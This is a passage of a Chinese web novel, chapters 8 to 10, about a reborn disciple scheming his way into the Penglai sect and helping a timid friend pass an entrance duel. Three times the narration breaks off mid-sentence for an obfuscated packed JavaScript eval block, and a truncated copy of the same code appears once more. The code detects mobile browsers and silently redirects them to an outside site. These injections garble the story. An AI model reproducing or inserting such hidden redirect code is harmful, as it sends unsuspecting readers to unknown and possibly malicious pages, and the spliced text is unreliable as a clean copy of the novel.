这声音他太熟悉了,他都不记得自己有多少次想将这个声音的主人抽筋剥皮。柳恒清不自觉地攥紧了拳头,心中的怒火甚至比四周的火海更甚:该死的洛宁毓,永远这么阴魂不散,我早晚剁了你的脚拔了你的舌头,让你再不能来打搅我和温师兄! 8. 第 8 章 温戎见洛宁毓来了,笑道:“师兄,你来了。” 洛宁毓点了点头,看见趴在温戎身上的柳恒清皱了皱眉:“他怎么了?” 温戎垂眸看了一眼柳恒清,正对上一双无辜清澈的眼睛,在心底无奈轻叹一声,对洛宁毓道:“他受到了些惊吓。” “哦?”洛宁毓走上前去,拎小鸡崽一般把柳恒清拎到一边:“独自一人杀掉三只修为五百年以上的妖怪,这样的人,在狩猎场里能受到什么惊吓?” 柳恒清脸抽搐了一下,死死咬着牙关,脸颊都凸起了一块肉,这才忍住了没对洛宁毓动手:洛宁毓我去你大爷的,居然在温戎师兄面前这样把我提起来,分明是故意给我难堪!你给我等着。 柳恒清顺势摔在了地上,状似柔弱无力:“这位师兄说得对,我确实不是吓的……可我一人战三妖,如今体力实在是撑不住了……” 洛宁毓冷冷盯着倒在地上几欲晕厥的柳恒清,眼神如刀。他冷笑一声,道:“既然你如此虚弱,那我作为你未来的师兄,岂能坐视不理。” 柳恒清心道不好,这厮肯定又要变着法来折磨自己了。 果然,下一刻洛宁毓就把柳恒清提了起来,强迫他盘腿坐好。洛宁毓坐在柳恒清对面,掌心涌动着澎湃的灵力,分明是要给他输灵力的架势。 若是此时柳恒清真受伤了那倒好说,可他一点事都没有,洛宁毓那一掌灵力送进来才真的会让他吐血。 柳恒清忙道:“这点小事怎好劳烦师兄呢?我休息一会儿就好了。” 洛宁毓却不理他,抬手便要一掌送去。 柳恒清脸一沉心一横眼一闭,攥紧了拳头准备硬扛下这一掌:罢了,受点伤就受点伤,这样我还能上千秋山去找温戎师兄疗伤。 但预想中的痛苦并没有落下,柳恒清疑惑地睁开眼,便见温戎握住了洛宁毓的手腕。 “师兄,这火越烧越大,此处实在不是个疗伤的好地方。方才我已为他诊过脉,轻伤而已,我们还是先去与其他人汇合吧。”温戎道。 洛宁毓眼底的冰稍稍化了些,看了温戎一会儿才垂下手,道:“嗯。” 温戎正要将柳恒清扶起,谁知洛宁毓一把就将他拽了起来。 洛宁毓道:“我来吧。” 柳恒清已经在心里将洛宁毓千刀万剐了,他可不想跟这家伙有任何身体接触。他痛呼一声,眉毛拧作一团,痛苦道:“啊!好疼~” 温戎闻言,连忙上前一步,关切道:“碰到伤口了吗?” 柳恒清红着眼圈,故作坚强一般摇了摇头:“没事的,温师兄,我不要紧。” “他当然没事了,你没听见他刚刚那声叫得中气十足。”洛宁毓见柳恒清装模作样,眉头拧得更紧,手上的力道也加重了不少。 “啊……这位师兄,你力气太大了,我现在浑身无力,你这样拽我我会脱臼的。”柳恒清的眼圈更红了三分。 洛宁毓冷哼一声:“如此娇贵,日后如何抗得住每日的修炼?我看,你干脆弃权吧。” “师兄说笑了。若想守护天下苍生,修炼是必经之路,我怎会叫苦呢?只是如今初选的时间已过,这点皮肉之苦实在没必要吧?受伤反而耽误日后修炼呢。”柳恒清一番话说得滴水不漏,他不信这次洛宁毓还找得出借口堵他。 果然洛宁毓只是垂眸冷冷看着他,一言不发。 温戎见这二人剑拔弩张,打圆场道:“师兄,他说得倒也没错,要不还是我送他吧。” 没等洛宁毓回答,柳恒清便朝温戎扑了过去,乖巧道:“谢谢温师兄。” 温戎微微一笑:“日后大家就是同门师兄弟了,不必如此客气。” 三人一同御剑离开狩猎场。柳恒清还是和温戎一起,短短一日之内同行两次,他在心里简直乐开了花,方才遇见洛宁毓的不快都一扫而光了。 其他人都已经出了狩猎场,站在外面等着他们三人。 程炀一见柳恒清出来了,离弦箭一般冲了上去,见柳恒清脸上脏污,衣袍沾满了血被烧得不像样,手也受了伤,眼圈瞬间就红了。 柳恒清见状,连忙从剑上一跃而下,制止住他:“欸欸欸!别哭出来啊,这么多人在你不嫌丢脸我还嫌呢。” “可是你受伤了……都怪我没用,帮不上你。”程炀哽咽道。 “说这么严重干嘛,我又没什么大碍,你瞧,铜钱拿到了。”柳恒清抛了两下手里的铜钱,朝程炀挑了挑眉。 程炀的眼睛瞬间就亮了,原地蹦哒了两下,激动道:“真的拿到了?太好了!柳大哥我就知道你可以的!” “那是当然。”柳恒清得意道。 “刚刚不是还半死不活的?现在怎么又生龙活虎了。”洛宁毓冷声道。 柳恒清侧首看他,轻笑道:“方才的确是很难受啊,但我靠在温师兄身上休息了一会儿,现在已经好多了,就不劳您挂念了。” 洛宁毓没说话,扫了他一眼就走了,温戎朝柳恒清点了下头,便跟了上去。 程炀畏畏缩缩地朝柳恒清靠了靠,道:“柳大哥,那个穿青衣的师兄好像不太喜欢你啊。” “是啊。”柳恒清不假思索道,毕竟洛宁毓这厮也一直觊觎着温戎,他要能待见自己那才是奇了怪了。 “可我刚刚听那个第五朔说,他就是人称玉山君的洛宁毓,是咱们的大师兄。” “什么狗屁玉山君,冰山君还差不多。”柳恒清小声嘀咕道。 远处钟声再次响起,众人即刻噤声。有人低头看了眼自己腰间的铜钱,摇了摇头,落寞离场;有人神情紧张,一颗心七上八下,不敢确定自己到底能否成为那前一百名;还有些人则意气风发神采奕奕,比如第五朔,志得意满地御剑朝蓬莱仙山飞去。 柳恒清和程炀则混在众弟子中,慢悠悠朝着蓬莱仙山走去。 众人穿过一片防风林,咸腥温暖的海风拂面而来,让柳恒清不断回想起曾经那段鲜衣怒马的少年时光,如今得以重来一次,他只盼一切都能顺遂如愿。前面不断发出一声又一声赞叹,他不禁勾唇笑了笑,想当年,他初次见到蓬莱仙山时也是如此的。 但见远处碧海蓝天一色,云雾袅袅清风徐徐,几座浮于海面之上的仙山在云间若隐若现,宫阙万千美轮美奂,仙鹤携伴低飞,仙人踏云而行,真如世外仙境。 程炀几乎看呆了:“这也太美了,那些人不来看一眼就离开真是太遗憾了!” “是啊。”柳恒清道。 程炀见柳恒清反应平平,心想:柳大哥定是个能成大事的人,看到这样的美景都能如此淡然,不以物喜不以己悲,我还有太多不足啊! 临近海岸,众人纷纷御剑而行,谁知行至半道,不断有人落下海面。 程炀身旁一人似乎撞到了一面无形的墙壁,毫无预兆地掉了下去,程炀还想伸手去拉他,但被柳恒清拦住了。 “没用的,他不是前一百名,会被结界拦下。”柳恒清道。 程炀这才发现,众人腰间的铜钱都在隐隐发着光。 “等进了山门,又会有一批人被拦在正殿前,只有前十名才有机会进入正殿,拜见掌门。”柳恒清继续解释道。 “原来如此,那,那我们是不是能一路畅通无阻?”程炀眼里闪着熠熠光辉。 柳恒清微微一笑,点了点头。 “太好啦!等正式拜入师门,我就给我祖父写信,告诉他我出息了!”程炀兴奋道。 一切就如柳恒清所说,他们二人十分顺畅地进入了正殿,第五朔和其他九人都已经等在了里面,整整齐齐跪成了一排。 柳恒清一眼就看到了站在芳翳长老身后的温戎,对他露出了一抹灿烂的笑,如何就拉着程炀跪到了第五朔身边。 第五朔眼刀子一下子横过来,低喝道:“我可是第一!你凭什么排这儿?” “这儿宽敞啊,大家日后都是掌门弟子,还分什么第一倒一的。”柳恒清冲第五朔眨了眨眼,还歪屁股撞了他一下。第五朔怒目圆瞪,却又因为掌门和长老们在场不敢随意发作。 看到他们两人进来,掌门和长老们皆是一愣。 “一,二,三……十一,十二。怎么会有十二人?”清云长老纳闷道。 柳恒清装作不知,扫了一圈众人腰间的铜钱,恭恭敬敬地做了个揖,道:“回长老,我们有三人都拿到了一百枚铜钱,并列第十。” 清云长老恍然大悟,道:“原来如此,今年还真是人才济济啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438304|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 掌门却皱眉不语。他认得这个少年就是最开始那个懒懒散散躺在树上睡觉的人,没想到此人竟能后来居上,也入了前十的行列。 洛宁毓忽然出列,对掌门道:“师父,他就是那个独自一人斩杀了丹朱、玄九和梦川的人。” “哦?”掌门意味不明地应了一声,眯眼看向柳恒清。 柳恒清忽觉不妙,洛宁毓这人向来小心眼,他一定还记恨着自己刚刚对温戎搂搂抱抱的事,不可能那么好心地帮自己邀功,事出反常必有妖。 果然,掌门眼神一变,微厉道:“既然你有实力独立杀死三只修为五百年以上的妖,那狩猎场里的其他妖怪对你而言根本没有任何威胁吧,为何会只拿了一百枚铜钱?我看你定是偷奸耍滑了!” “不不、不是的……”程炀结结巴巴道,柳恒清瞪了他一眼,示意他闭嘴,可他还是坚持道,“柳大哥他,他把自己的铜钱,分给我了……” “这是他应得的。我的佩剑劣质,一开始就被妖怪打成了碎渣,我借了他的剑,他就没有武器了,所以我分他一半也是应该的。” “师父,这名弟子是我一路暗中保护的,”洛宁毓手对着程炀一抬,接着说道,“我可以向师父担保,若不是他的同伴分了一半铜钱给他,凭他的实力,恐怕连踏上蓬莱仙山都困难。” 程炀低着头不敢说话,但浑身一直在不停地发颤。 “师兄如何能担保不曾发生的事情?这世上既没有追溯时间的仙术,也没有能窥见不同选择带来的不同后果的水镜。既然不曾发生,那么结局如何,谁也无法保证。”柳恒清回答得从容不迫。 洛宁毓斜了他一眼,又道:“那些铜钱始终不是他凭本事得来的,德不配位,恐怕不妥,于其他弟子而言,也不够公平。” 掌门颔首道:“没错。你们两人,一个目无法纪,一个力不胜任,都不得拜入本座门下。” 程炀闻言,“咚”一声重重地磕了好几个头,哽咽哀求道:“不要啊!是我不好,我不配做掌门弟子,求掌门再给柳大哥一次机会吧!便是要逐我出蓬莱山也可……” “胡说什么!你已经过了山门结界,就是蓬莱仙山认可的弟子,若无大错不可轻易逐出师门的,别怕,起来。”柳恒清想把哭得一把鼻涕一把泪的程炀拽起来,谁知他倔起来力气那么大,拽了半天柳恒清也没能撼动半分,索性随他去了。 “你倒是对蓬莱仙山的规矩很熟悉啊。”洛宁毓冷言冷语道。 “自然熟悉,拜入蓬莱仙山是我自小的目标,一千条门规我倒背如流,掌门说我目无法纪,我实在冤枉。”柳恒清委屈道。 “冤枉?你如何冤枉!将自己得来的铜钱赠与他人,扰乱秩序,便是违规。”掌门厉声道。 “可在我们入场之前,玄华长老只说了不可抢夺偷窃他人的铜钱,并没有说不可赠与。而且,我方才也解释过了,我的佩剑断了,借了他的。他出剑,我出力,得到的铜钱对半分,也是合乎情理的吧。” 清云长老思忖片刻,捋须道:“是啊,确实合理。况且,他们二人是并列第十,算起来其实也并未占了旁人的位置啊。” 柳恒清对清云长老乖巧一笑。 “伶牙俐齿。”掌门不悦道,“即便你没有目无纪法,可你偷懒却是事实,我与芳翳长老亲眼看到你刚入狩猎场不久就在树上打盹儿。” 柳恒清在心底咒骂掌门:死老道,你果然还是看老子不顺眼! “回掌门,弟子自幼丧父家境贫寒,日子过得十分拘谨,每日天未亮就要帮母亲准备出摊的东西。爬上树去休息片刻是为了补些精力,之后才好对付妖怪。”柳恒清瞎编乱造一向在行。 清云长老闻言,怜惜道:“真是个孝顺的好孩子啊,掌门,我看就算了吧。” 柳恒清在心底偷笑一声:清云长老是资历最深的长老,有他开口,稳了。 “确实情有可原,掌门,您就饶他一次吧,况且他不过十五岁,便能独自一人能杀死三只大妖,定是个奇才,应该好好培养才是。”芳翳长老也劝道。 掌门皱了皱眉,但有两位长老开口求情,他也不好再多说什么。 “好,你留下可以,但他不行。” 9. 第 9 章 见掌门直指着自己,程炀脸一白,却也不多争辩。洛宁毓说的一点没错,如果凭他自己的实力,他连踏进蓬莱仙山都不够格,掌门不愿意收自己为徒,也是情理之中的。 柳恒清却是不肯,道:“掌门,程炀他将佩剑给了我,所以才会让师兄误会他实力不行的,其实……他挺厉害的!” 程炀不可置信地看着柳恒清,眼神里写满了:你在开玩笑吗? “厉害?你说的厉害,是指他被一只修为不过三百年的狐妖追得四处乱窜吗?”洛宁毓嘲弄道。 程炀默默低下了头。 “师兄,他只是胆子小。”柳恒清道。 洛宁毓冷哼一声,道:“口说无凭,不如,我和他比试一场。” 闻言,程炀倒抽了一口冷气。 “师兄,您拜入师门这么多年了,欺负一个刚来的小师弟不合适吧?”柳恒清道。 洛宁毓不理会他,看向了掌门。 掌门假意思索片刻,正色道:“如此确实有失公正,这样吧,只要他能接宁毓三招,我便收他为徒。” 程炀面如土色,没等他再次向掌门磕头求饶,便听柳恒清中气十足地应道:“好!” “柳大哥!”程炀都快哭出来,他攥着柳恒清的衣服,低声道,“我怎么可能接得住洛师兄三招啊,他三招都能直接废了我……” “你能不能对自己有点信心啊?”柳恒清恨铁不成钢道。 程炀眼角含泪:“第五朔说,洛师兄是门内最厉害的弟子,未来很有可能接任掌门之位的,我真的不行啊……” 第五朔听到自己的名字,朝程炀斜了一眼。 “你不要还没尝试就先否定自己啊。你听我说,洛宁毓的确是门内第一剑修,但他如今练得还是不够火候,凭你的反应能力要躲开他的招式绰绰有余。” 柳恒清说得十分自信,可程炀还是畏畏缩缩:“我、我反应哪有那么快……” “你要是反应不快,第五朔就该重伤出局了。”柳恒清道。 第五朔闻言,狠狠瞪了柳恒清一眼。 洛宁毓口中那个误打误撞破了阵法的人正是第五朔。他当时找到了梦川被囚之地 ,信心满满,认为自己一定能杀了这只最弱的大妖,谁知在打斗中太过得意忘形,不甚击碎了一块阵石,原本被压着打的梦川立即反扑过来,若非程炀及时将他推开,后果不堪设想。 “你连梦川的攻击都躲得开,何况洛宁毓呢。”柳恒清又补了一句。 程炀听了这话,稍稍定了定心神,但还是死攥着柳恒清的衣角,道:“柳大哥,谢谢你对我有信心,但我还是有些担心……我祖父未曾得道飞升,如今年事已高,独自一人住在岐山南沟……” “得得得,这还没开始呢你就交代后事了。”柳恒清简直想骂人,“别废话了,赶紧去!记住我说的,只管躲就行。” 程炀耷拉着脑袋站起身,一步一挪地往前走,冷不防后背被人拍了一下,他吓得差点跳起来,回头就见第五朔凶神恶煞地瞪着他。 “走快点啊,别误了我们拜师的吉时。”第五朔不耐烦道。 柳恒清挑了挑眉,饶有趣味地盯着第五朔。 第五朔被他盯得心里直发毛,怒道:“看什么看,再看把你眼睛挖出来!” “看你好帅。”柳恒清调侃道。 “滚,本公子可没有断袖之癖!” 柳恒清翻了个白眼:你以为是个断袖就看得上你啊。 程炀浑身颤抖站在洛宁毓面前,无论是气势还是身高都比洛宁毓矮了一大截,简直像鹌鹑对老鹰,任谁也不相信他能接住洛宁毓三招。 “宁毓……”温戎轻声叫了下洛宁毓,眼神里流露出不安。 洛宁毓知道温戎一向心慈,轻声道:“放心。” 程炀咽了口唾沫,满脑子都只想着一个字:躲。 他对洛宁毓鞠了一躬,握剑的手几乎抖出了残影。 洛宁毓冷冷地看着他,嗤笑一声,待清云长老一声令下,便先发制人,提剑朝程炀刺去。 剑气裹挟着凌风破空而去,殿内所有人都不由得倒吸了一口气。虽说洛宁毓这一招明显只用了三成功力,可若是被他伤到那也不是闹着玩的。 正当众人揪心之时,却不料洛宁毓竟扑了个空,剑气打在程炀身后的花瓶上,半人高的花瓶瞬间炸蹦成一地碎瓷片,所有人都连忙拿衣袖挡脸,离得近的几人被挂了一身的水和叶子,十分狼狈。而本应站在花瓶前的程炀不知何时躲在了一旁的柱子后,几乎没人看清他的声影。 “一招!”清云长老激动道,两条花白的长寿眉都在颤抖。 洛宁毓脸色一变,眼神阴沉,握剑的手又紧了三分。 殿内众人皆是一惊,不可思议地盯着程炀,任谁也没想到这只菜鸟竟真的能躲过洛宁毓一招。 “嘶——这孩子刚刚是怎么躲过的?”玄华长老纳闷道。 “我们都在看宁毓,反而把他给忽略了。”芳翳长老道。 “宁毓轻敌了,方才没使出全力,等会儿他可就没那么好运了。”掌门道。 程炀对上洛宁毓的眼睛,心一下子提到了嗓子眼,但想起了柳恒清说过的话,又渐渐平静下来:柳大哥说得没错,洛师兄比起梦川慢多了,不要怕不要怕…… 程炀正想着,忽觉两鬓发丝微动,他想也没想,本能地跳起身,几下借力跃到房梁上,待他往下看去时,便见左右各两道剑气朝自己刚刚站着的位置夹击而来,相撞之后炸出了震天动地的巨响。 程炀心有余悸,抱着房梁顺了顺气,自言自语道:“不可轻敌不可轻敌……” “人呢?”掌门惊道。 “在那儿。”温戎手一抬,指着房梁上的程炀笑道。 “两招!”清云长老大喊道,“真是疾如风啊!哈哈哈,我看这孩子还真有两下子。” 程炀闻言有些害羞,挠了挠头,慢悠悠地顺着柱子滑了下来。 而洛宁毓和掌门的脸色更难看了几分。洛宁毓眉头紧锁,想不明白这人怎么可能躲得过自己的招式,却在狩猎场里被狐妖追得那么狼狈,难道在狩猎场里他是在藏拙?可是,何必呢?他藏给谁看? 洛宁毓眼眸微眯,心中有了对策:不管他之前耍的什么把戏,下一招,我必将他拿下。 程炀忽觉脊背一凉,不自觉地又开始紧张起来。虽然洛宁毓面上不动声色,但他能感受到对方有些生气了,下一招要是躲不过就完了…… “程炀,别怕。”柳恒清喊道。 程炀看向他,讷讷地点了点头。 洛宁毓朝程炀进一步,程炀便退一步,洛宁毓朝左靠一步,程炀也往左挪一步,总之就是不敢和洛宁毓靠得太近。 二人对峙片刻,洛宁毓忽然勾唇一笑,下一刻,一道凌厉的剑光就闪到了程炀眼前,程炀眼前一花,下意识翻身一滚想躲到一扇屏风后,却听身后传来一声惊呼。 程炀心觉不妙,身形一顿,耳边听到一道微弱又沉闷的声音,随即便觉得右臂传来剧烈的刺痛。 “啊——”程炀痛呼一声,歪倒在地上,整张脸皱成了一团。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438305|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 洛宁毓居高临下,冷冷地看着程炀。他看出来程炀只知道躲,于是将他逼到殿内空阔的一角,程炀若想躲,便只有屏风一个选择,于是他便来个声东击西。 洛宁毓懒得再看程炀那副窝囊样,正想请清云长老宣判结果,却没想到程炀颤颤巍巍地站了起来。 洛宁毓不可置信地瞪着程炀,低喃道:“怎么可能……” 程炀手臂疼得呲牙咧嘴,但还是礼数周到地朝洛宁毓做了个不大标准的揖,道:“师兄,承让……” “三招,三招都接下了。”清云长老惊喜道。 柳恒清松了口气,对掌门道:“掌门,既然程炀接下了洛师兄三招,那是不是就可以拜您为师了?” 掌门面色不虞,却也无法拒绝,毕竟这是他自己提出的条件,怎可反悔?他瞪了洛宁毓一眼,闷闷应了一声“嗯”。 闻言,程炀眼泪瞬间落了下来,边哭边笑。这一下可真疼啊,但也值得。 比试结束,掌门不好再找茬,上前一步对十二位弟子说道:“尔等今日拜入我蓬莱派,日后须时刻谨记自己的身份。修仙问道为的绝非长生不死得道飞升,而是要以守护苍生为己任,明白吗?” “明白!” 玄华长老宣读过门规戒律后,十二人齐齐走到祖师爷神像前滴血立誓。 听说蓬莱派祖师爷早已超脱凡俗,其在派内留下的这尊神像十分有灵性,一直庇护着四方风调雨顺国泰民安,妖邪不敢靠近半分。 这尊神像足有两丈高,纯金打造,夕阳透过天窗斜洒下来,整尊神像金光璀璨,神圣耀眼得无法直视。 十二人一起咬破了手指,各自滴了一滴血在祖师爷伸出的掌心上,不消片刻,血便渗入了掌心。 玄华长老颔首,正要开口,却见宗门大殿忽然地动山摇起来。 程炀吓得脸色惨白,惊呆:“地、地震了?” 柳恒清眉头一皱,道:“不是。”上一世的拜师礼可没有地震,这次为何…… 他觉得此事不寻常,仰头朝祖师爷神像看去,便见整尊神像是殿内震得最厉害的东西,就是它的震动引起了整座大殿的震动。 柳恒清心道:难不成真的是因为程炀修为不够,祖师爷不肯认? 好在这震颤只持续了片刻就停了下来,掌门立即传话命人查看四周的百姓是否收到影响,又亲自上前检查神像,确认无异后,仪式才继续进行。 十二位弟子对着掌门以及几位长老行拜师礼,再接过铜铃信物后便算是完成了仪式,正式成为蓬莱派的弟子。 洛宁毓还在为方才的事情不满,将铜铃呈给柳恒清和程炀时故意手一歪,把铜铃掉在了地上。柳恒清懒得与他多计较,毕竟他还记得自己进入蓬莱派的目的是要带温戎走,而不是报复洛宁毓。 不过,方才神像莫名的震颤还是在柳恒清心里留下了一点疑虑:上一世拜师与这一世拜师唯一的不同就是多了两个人,一个是程炀,还有一个是和我们并列第十的景安言,难不成是他们的血有问题? 柳恒清眉头紧锁,眼神在程炀和景安言身上来回扫视。 程炀对上他的目光,眼眸一垂,而后又走到他面前,低声道:“柳大哥,我的手好像肿起来了。” 柳恒清将他袖子撸上去,便看到程炀略有些畸形的手,道:“断了。” “那我现在是掌门弟子了,是不是可以上千秋山,找芳翳长老帮我医治?” 柳恒清闻言,醍醐灌顶:是啊!这下他不就能以陪程炀的名义,上千秋山去找温戎了?! 10. 第 10 章 神像震动的事暂且放到一边,现在最重要的就是找温戎师兄帮程炀治手。 一想到刚入门就有个好理由经常上千秋山,柳恒清心情大好,交代程炀在原地等自己后,就一路小跑追上了温戎。 “温师兄。”柳恒清殷勤地喊道。芳翳长老和温戎同时转过身来看向他,柳恒清对芳翳长老恭恭敬敬地做了个揖,“见过芳翳长老。” 芳翳长老微微颔首。 “怎么了?”温戎问道。 “是程炀,他的手很疼,可以请你帮他看看吗?”柳恒清道。 温戎了然,看向芳翳长老,见芳翳长老点了点头,便道:“好,带我去看看。” “多谢师兄!”柳恒清笑得春光灿烂。 “不客气,你们俩感情真不错。”温戎道。 柳恒清闻言,连忙解释道:“我们只是朋友,今天第一次见面。” 温戎看向他,眼神有些疑惑不解:“不是朋友,还能是什么?” 柳恒清微微一愣,讪讪一笑:“没什么没什么……” 温戎从小在蓬莱仙山长大,周围都是一群修无情道的长老和师兄,虽然已经十八岁了,但对于男欢女爱依旧一知半解,更别提断袖之事了。 温戎轻笑一声,道:“我的意思是,你很讲义气。说起来,我和你们两个还算有缘,下山一趟刚好见到了你们俩,而你们又在狩猎场里成了朋友。” “是啊,现在又要请你帮忙了。”提起狩猎场,柳恒清忽然想起一件事来,试探着问道,“不知温师兄在狩猎场里,是保护谁啊?” 温戎侧过脸看着他,微微挑了挑眉,那双漂亮的凤眸里流露出一抹耐人寻味的笑来:“你猜。” 柳恒清被温戎这一个眼神弄得心都差点忘记跳了,耳朵一下子变得又红又烫,连话都说不利索了:“我我、我哪儿猜得到呢?好师兄,你就告诉我吧。” 温戎见他撒娇,忍俊不禁:“多大人了,怎么这么爱撒娇?” “才十五,也没多大呀……比师兄小呢。”柳恒清嘀咕道,忽而又抬起那双黑白分明的澄澈眼睛望着温戎,“师兄,你不肯说,该不会是保护我吧?” 温戎笑而不语。 柳恒清喜出望外:我们居然这么有缘,怪不得上一世第一次见到温戎师兄的时候,他说对我有印象,我还以为是自己臭名昭著,没想到原来温戎师兄是在狩猎场里就一直看着我呢……等等,那我偷懒耍滑、用九幽剑诀的招式杀死玄九,不也被温戎师兄全看见了? 温戎看着柳恒清脸色骤变,问道:“怎么了?” “没!没什么……”柳恒清不禁有些心虚,忽然不太敢去看温戎的眼睛。 “不舒服吗?”温戎见他不对劲,担心道。 “没有,我只是,突然想到我在树上睡觉被师兄看见了,有些难为情……” 温戎笑道:“这不算什么。” 柳恒清见温戎神色无异,稍稍放下心来。他心道自己真是做贼心虚,毕竟九幽剑诀这种邪术早已失传多年,连有关于它的古籍都被烧得彻彻底底,温戎自小在蓬莱仙山这样的名门正派长大,顶多听说过,不可能见过,更别提认出来了。 二人没聊几句,便看到程炀独自一人坐在宗门大殿门口,看上去瘦小可怜。 温戎加快了步伐走上前,检查伤势后,蹙眉道:“手臂断了。带他上千秋山,我帮他接骨。” “好。” “谢谢师兄。”程炀虚弱道。 温戎见他脸色惨白,轻叹一声,道:“宁毓这次真是太不知轻重了……还好只是骨头断了,修养月余便可恢复。” “我还以为我死定了……”程炀道。 “哪儿那么容易死,洛宁毓也没那个胆子打死你的。”柳恒清不以为然道。 温戎闻言,有些诧异地看向柳恒清。柳恒清意识到自己失言了,连忙装乖巧,道:“对不起,我不该直呼师兄名讳。” 温戎摇摇头,道:“无妨,你替朋友打抱不平也是正常的,不过可别当着宁毓的面这么说。” “嗯,我记住了。”柳恒清道。 蓬莱仙山一直是世人口中仙境般的存在,而千秋山更是其中之最。此处山峦叠起,却色彩不同,翠山红叶相映,青云苍松作伴,山下郁郁葱葱,山顶白雪皑皑,仿佛四季之景融为一体。 柳恒清一向认为温戎这般美好的人,就该住在如此仙气缥缈的地方。 而程炀疼得没心情四处张望看美景,在柳恒清的搀扶下才终于到了百草园。 温戎本打算先帮程炀固定一下手臂,却见程炀的衣袖渗出了血,不禁眉头一皱:“方才只是骨头断了,现下怎么越发严重了……” 程炀道:“越来越痛了……” “你被打中的时候是什么感觉?”温戎问道。 程炀仔细回想了一下,道:“被打中的时候也很疼,可是很快就没什么感觉了,而且我听到了一个闷闷的声音,好像有东西帮我挡了一下。” 温戎闻言,略有些不解。 柳恒清将手覆在程炀背上,掌心迸出一道金光,随后便见一张符纸突然在程炀背上显现出来。他随手将符纸撕了下来,道:“应该是这张符暂时接下了那一击,但随着符纸的效力消失,你该受的伤还是又回你身上了。”柳恒清不禁咂了下嘴,“啧,第五朔这个符修学的不到位啊。” “第五朔?是他?”程炀接过柳恒清递过来的符纸,看到上面龙飞凤舞的符文和专属于第五家族的星辰印记,终于想起在上场之前,第五朔曾用力拍了自己一下,只是程炀没想到他居然会帮自己。 “这盾符本该能挡下大半伤害的,但情况紧急,他只能做到这样了。不过也算不错了,至少骗过了掌门和几位长老。”柳恒清轻笑道。 “那位公子看上去趾高气昂,其实人也不错。”温戎说道。 柳恒清笑了笑,不置可否。 “会不会被发现啊,万一第五朔向掌门告发怎么办?”程炀担心道。 “不会的,你救他一命,他还你人情罢了。再说了,如果他向掌门告发,那不等于搬石头砸自己的脚?”柳恒清道。 程炀似懂非懂地点了点头。 温戎明白程炀的伤势究竟是怎么回事后就站起身,准备去拿药,柳恒清连忙跟上,道:“师兄,我帮你。” 温戎本想说不用,但看着柳恒清笑盈盈的样子便没有开口。 二人一起去了隔壁的药房,几面墙的药柜散发着浓郁的药草香,和温戎身上的味道很像。柳恒清还记得他第一次品尝到温戎双唇的滋味便是在此处。 见柳恒清莫名露出了一抹痴迷沉醉的笑容,温戎担心道:“你还好吗?” 柳恒清回过神,意识到自己的失态,耳朵微红,不好意思道:“我没事。师兄,要拿什么药,我帮你找。” “这里药味太浓,有些人闻着不习惯,要不你回去吧?我自己也可以的。” “不,我喜欢这里的味道。”在这里待着就像抱着你一样。 当初温戎毒发身亡,柳恒清攻下了蓬莱仙山,将他的尸身带回此处,日夜与这药草香相伴。世人盛传他在此处炼制起死回生的丹药,可他直到死之前,也没能让温戎再睁开眼。 还好,现在他又回到温戎身边了。 柳恒清看着温戎,温柔一笑,眼里仿佛盛着蜜水,甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438306|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得让人心颤。 温戎微微一怔,飞快地低下了头。 二人很快拿了药回来,程炀正恹恹地斜靠在椅背上呻、吟。 温戎先给他递了颗糖,道:“会有些疼,你忍着点。” 程炀有气无力地点了点头。 温戎看了柳恒清一眼,柳恒清了然地站在了程炀身后。在药刚敷上伤口、程炀爆发出第一声杀猪般的惨叫时,柳恒清眼疾手快摁住了他,不让他左右乱动,妨碍温戎。 “疼!好疼——”程炀眼泪汪汪哭道。 “骨头断了当然疼,忍着点。”柳恒清道。 温戎施了个法在他伤口上,问道:“这样有没有好些?” “有……好一点,就一点……”程炀哽咽道。 费了一炷香的时间,程炀的伤才被包扎好,一番折腾下来,温戎送他们下山时外头天都黑了。 “伤口不要碰水,不要吃发物,五日后再来找我换药。放心,有我师父做的仙药,你的伤一个月就能好,和从前一样好。”温戎嘱咐道。 “好,多谢师兄。”程炀道。 “等会儿。”温戎像是突然想起了什么,转身不知去了何处,过了片刻提了个食盒过来,“天都暗了,你们回去恐怕没东西吃,千秋山上吃得素净,但至少不会饿。” 柳恒清在闻到菜香味的瞬间,肚子就发出了一声响亮的抗议。他讪笑一声,道:“多谢师兄!五日后我再把食盒一起送回来。” 温戎笑着揉了揉他的脑袋:“好。” 柳恒清轻车熟路地带着程炀回了新弟子住的地方。新弟子分成了男女两院,柳恒清还没走到门口,就听见里面吵吵闹闹,众人似乎都还沉浸在拜入蓬莱仙山的兴奋中。 柳恒清带着程炀拐进了男弟子住的院,上前敲了敲第一扇门,里头的人立马应道:“谁啊?” 